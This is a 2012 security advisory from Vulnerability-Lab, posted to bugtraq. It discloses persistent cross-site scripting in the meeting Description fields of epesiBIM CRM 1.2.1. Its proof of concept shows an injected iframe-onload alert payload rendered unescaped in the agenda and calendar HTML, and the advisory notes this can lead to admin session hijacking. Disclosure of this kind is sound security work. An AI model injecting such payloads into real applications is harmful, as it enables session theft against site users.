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GroupWare epesiBIM CRM 1.2.1 - Multiple Web Vulnerabilities
- To: bugs@xxxxxxxxxxxxxxxxxxx, bugtraq@xxxxxxxxxxxxxxxxx
- Subject: GroupWare epesiBIM CRM 1.2.1 - Multiple Web Vulnerabilities
- From: Research <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Tue, 10 Apr 2012 19:02:53 +0200
Title:
======
GroupWare epesiBIM CRM 1.2.1 - Multiple Web Vulnerabilities
Date:
=====
2012-04-10
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=501
VL-ID:
=====
501
Introduction:
=============
epesi BIM stands for Business Information Manager. We just did not like the
name CRM
(Customer Relationship Management), because with epesi you can manage not only
customer\\\\\\\\\\\\\\\'s data,
but also internal business records like employees, inventory, etc.
epesi BIM has modular design. Some modules provide basic, low-level functions
like user authentication
(login), managing sessions, database connectivity, data entry verification etc.
Think of modules as
building blocks - you can stack them - one on top of another - to create
different shapes. The same
way with epesi framework and included modules you can create web application
with different functionality:
CRM, SFA, ERP or SCM. In fact we created already:
- CRM package (inlcuded in the FREE version)
- Warehouse Management System
- Custom Sales and Commision Reporting tool
- Complete inventory management system integrated with e-commerce
- School Register with student and courses management
- and many more custom solutions
(Copy of the Vendor Homepage: http://www.epesibim.com )
Abstract:
=========
The Vulnerability Laboratory Researcher Team discovered multiple Web
Vulnerabilities on GroupWare`s epesiBIM CRM v1.2.1.
Report-Timeline:
================
2012-04-10: Public or Non-Public Disclosure
Status:
========
Published
Exploitation-Technique:
=======================
Remote
Severity:
=========
Medium
Details:
========
Multiple persistent input validation vulnerabilities are detected on GroupWares
epesiBIM 1.2.1 web application.
The bugs allow remote attackers to implement/inject malicious script code on
the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking
(manager/admin) or stable (persistent)
context manipulation. Exploitation requires low user inter action. The bug is
located on the Description input
field of the application which allows to execute code out of the main
application dashboard context.
Vulnerable Module(s):
[+] Meeting Description Input Fields
[-] Agenda Display Dashboard - Title of
Description
[-] Calender Content Display - Title of
Description
Picture(s):
../1.png
../2.png
../3.png
../4.png
Proof of Concept:
=================
The vulnerability can be exploited by remote attacker or local low privileged
user accounts with low required
user inter action. For demonstration or reproduce ...
Review: Agenda Display Dashboard - Title from Description
<tr class="CRM_Calendar_applet__today">
<td onmouseover="if(typeof(table_overflow_show)!='undefined')
table_overflow_show(this);" class="Utils_GenericBrowser__td "
nowrap="nowrap">​​​​​Today, 06:20</td>
<td
onmouseover="if(typeof(table_overflow_show)!='undefined')table_overflow_show(this);"
class="Utils_
GenericBrowser__td ">​​​​​<a
href="javascript:void(0)" onclick="_chj('__jump_to_RB_table=crm_meeting&__
jump_to_RB_record=22&__jump_to_RB_action=view&day=2012-04-09', '', '');"><span
onmousemove="if
(typeof(Utils_Tooltip__showTip)!='undefined')Utils_Tooltip__showTip(this,event,300)"
tip="<center>
<b>Meeting</b></center><br><TABLE WIDTH="280" cellpadding="2"
><TR><TD WIDTH="90"><STRONG>Date</STRONG></TD><TD bgcolor=
"white" style="word-wrap: break-word;"><b>Mon - 09 Apr 2012</b></TD
></TR><TR><TD WIDTH="90"><STRONG>Time</STRONG></TD><
TD bgcolor="white" style="word-wrap: break-word;">06:20 - 07:20</TD></TR&
gt;<TR><TD WIDTH="90"><STRONG>Duration</STRONG></TD><TD bgcolor
="white" style="word-wrap: break-word;">1 hour(s) </TD></TR><TR><TD
WIDTH="90"><STRONG>Event</STRONG></TD><TD bgcolor="white" style=
"word-wrap: break-word;"><b>"
>&
lt;iframe src=a onload=alert("Vunerabilitylab") <</b></TD></TR><TR><TD
WIDTH="90"><STRONG>Description&
lt;/STRONG></TD><TD bgcolor="white" style="word-wrap: break-word;">"
><iframe src=a onload=alert("VL") <</TD></TR><TR><TD WIDTH="90&
quot;><STRONG>Assigned to</STRONG></TD><TD bgcolor="white" style="
word-wrap: break-word;">Doe Jane<br>Smith John</TD></TR><TR><TD
WIDTH="90"><STRONG>Contacts</STRONG></TD><TD bgcolor="white" style
="word-wrap: break-word;"></TD></TR><TR><TD WIDTH="90"><
STRONG>Status</STRONG></TD><TD bgcolor="white" style="word-wrap: break-word;
">Open</TD></TR><TR><TD WIDTH="90"><STRONG>Access</STRONG>
</TD><TD bgcolor="white" style="word-wrap: break-word;">Public</TD></TR
><TR><TD WIDTH="90"><STRONG>Priority</STRONG></TD><TD bgcolor=
"white" style="word-wrap: break-word;">Low</TD></TR><TR><TD
WIDTH="90"><STRONG>Notes</STRONG></TD><TD bgcolor="white" style=
"word-wrap: break-word;">1</TD></TR></TABLE><hr><TABLE WIDTH="280
" cellpadding="2"><TR><TD WIDTH="90"><STRONG>Created by:</STRONG
></TD><TD bgcolor="white" style="word-wrap: break-word;">Doe Jane</TD><
/TR><TR><TD WIDTH="90"><STRONG>Created on:</STRONG></TD><TD bgcolor=
"white" style="word-wrap: break-word;">09 Apr 2012 06:21:29</TD></TR></TABLE
>"
>onmouseout="if(typeof(Utils_Tooltip__hideTip)!='undefined')Utils_Tooltip__hideTip()"
> onmouseup="if(typeof
(Utils_Tooltip__hideTip)!='undefined')Utils_Tooltip__hideTip()">"><iframe src=a
onload=alert("Vunerabilitylab") <</span></a></td>
</tr>
Review: Display Calender Description
<td
onmouseover="if(typeof(table_overflow_show)!='undefined')table_overflow_show(this);"
class="Utils_GenericBrowser__td ">
<a href="javascript:void(0)"
onclick="_chj('__jump_to_RB_table=crm_meeting&__jump_to_RB_record=22&__
jump_to_RB_action=view&day=2012-04-09', '', '');">"><iframe src=a
onload=alert("Vunerabilitylab") <</a></td>
<td
onmouseover="if(typeof(table_overflow_show)!='undefined')table_overflow_show(this);"
class="Utils_GenericBrowser__td
" nowrap="nowrap">Meeting</td>
<td
onmouseover="if(typeof(table_overflow_show)!='undefined')table_overflow_show(this);"
class="Utils_GenericBrowser__td ">
"><iframe src="a" onload='alert("Vunerabilitylab")' <<="" td="">
... or
<div id="table_overflow_content"
class="Utils_GenericBrowser__overflow_div_content">
"><iframe src="a" onload='alert("Vunerabilitylab")' <<="" td="">
Risk:
=====
The security risk of the persistent vulnerability is estimated as meidum(+).
Credits:
========
Vulnerability Research Laboratory Team - Chokri B.A. (Me!ster)
Disclaimer:
===========
The information provided in this advisory is provided as it is without any
warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and
capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have
been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential
or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages,
of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.
Copyright © 2012
Vulnerability-Lab
--
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research@xxxxxxxxxxxxxxxxxxxxx